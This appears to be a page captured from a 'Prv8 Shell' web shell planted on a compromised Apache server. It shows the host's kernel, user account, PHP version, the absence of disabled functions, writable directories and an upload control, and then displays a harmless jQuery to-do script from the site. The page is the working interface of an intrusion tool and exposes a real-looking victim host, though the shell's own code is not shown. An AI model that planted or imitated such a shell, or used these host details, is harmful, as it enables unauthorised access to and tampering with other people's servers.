Prv8 Shell
Server : Apache/2.2.22 (Unix) mod_ssl/2.2.22 OpenSSL/1.0.0-fips mod_auth_passthrough/2.1 mod_bwlimited/1.4
System : Linux server.jackjohnson.com 2.6.32-279.5.2.el6.x86_64 #1 SMP Fri Aug 24 01:07:11 UTC 2012 x86_64
User : jackjohn ( 502)
PHP Version : 5.3.17
Disable Function : NONE
Directory :  /home/jackjohn/public_html/shopsite-images/en-IE/javascript/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/jackjohn/public_html/shopsite-images/en-IE/javascript/todo.js
$(document).on('click','#remove_todo', function() {
  $('#todo').remove();
  $.post("start.cgi", { ajax: "1", remove_todo: "1" });
});

$(document).on('click','#remove_todo_incomplete', function() {
  c = confirm("Are you sure you want to remove the to do list?");
  if (c == false)
    return false;
  $('#todo').remove();
  $.post("start.cgi", { ajax: "1", remove_todo: "1" });
});

$(document).on('click','.todo_checkbox', function () {
  step = $(this).attr('id');
  
  if (!$(this).is(':checked')) {
    $(this).closest('tr').removeClass('done').addClass('not_done');
    done = 0;
  } else {
    $(this).closest('tr').removeClass('not_done').addClass('done');
    done = 1;
  }
  
  show_hide_todo_done_block();
  
  $.ajax({
    async: true,
    data: "ajax=1&todo_click=1&step="+step+"&done="+done,
    url: "start.cgi"
  });
  
});

function show_hide_todo_done_block() {
  if ($('.todo_checkbox:checked').length == 5) 
    $('#todo_done_block').css({display:'block'});
  else
    $('#todo_done_block').css({display:'none'});
}
 
$( function () {
  show_hide_todo_done_block();
});

haha - 2025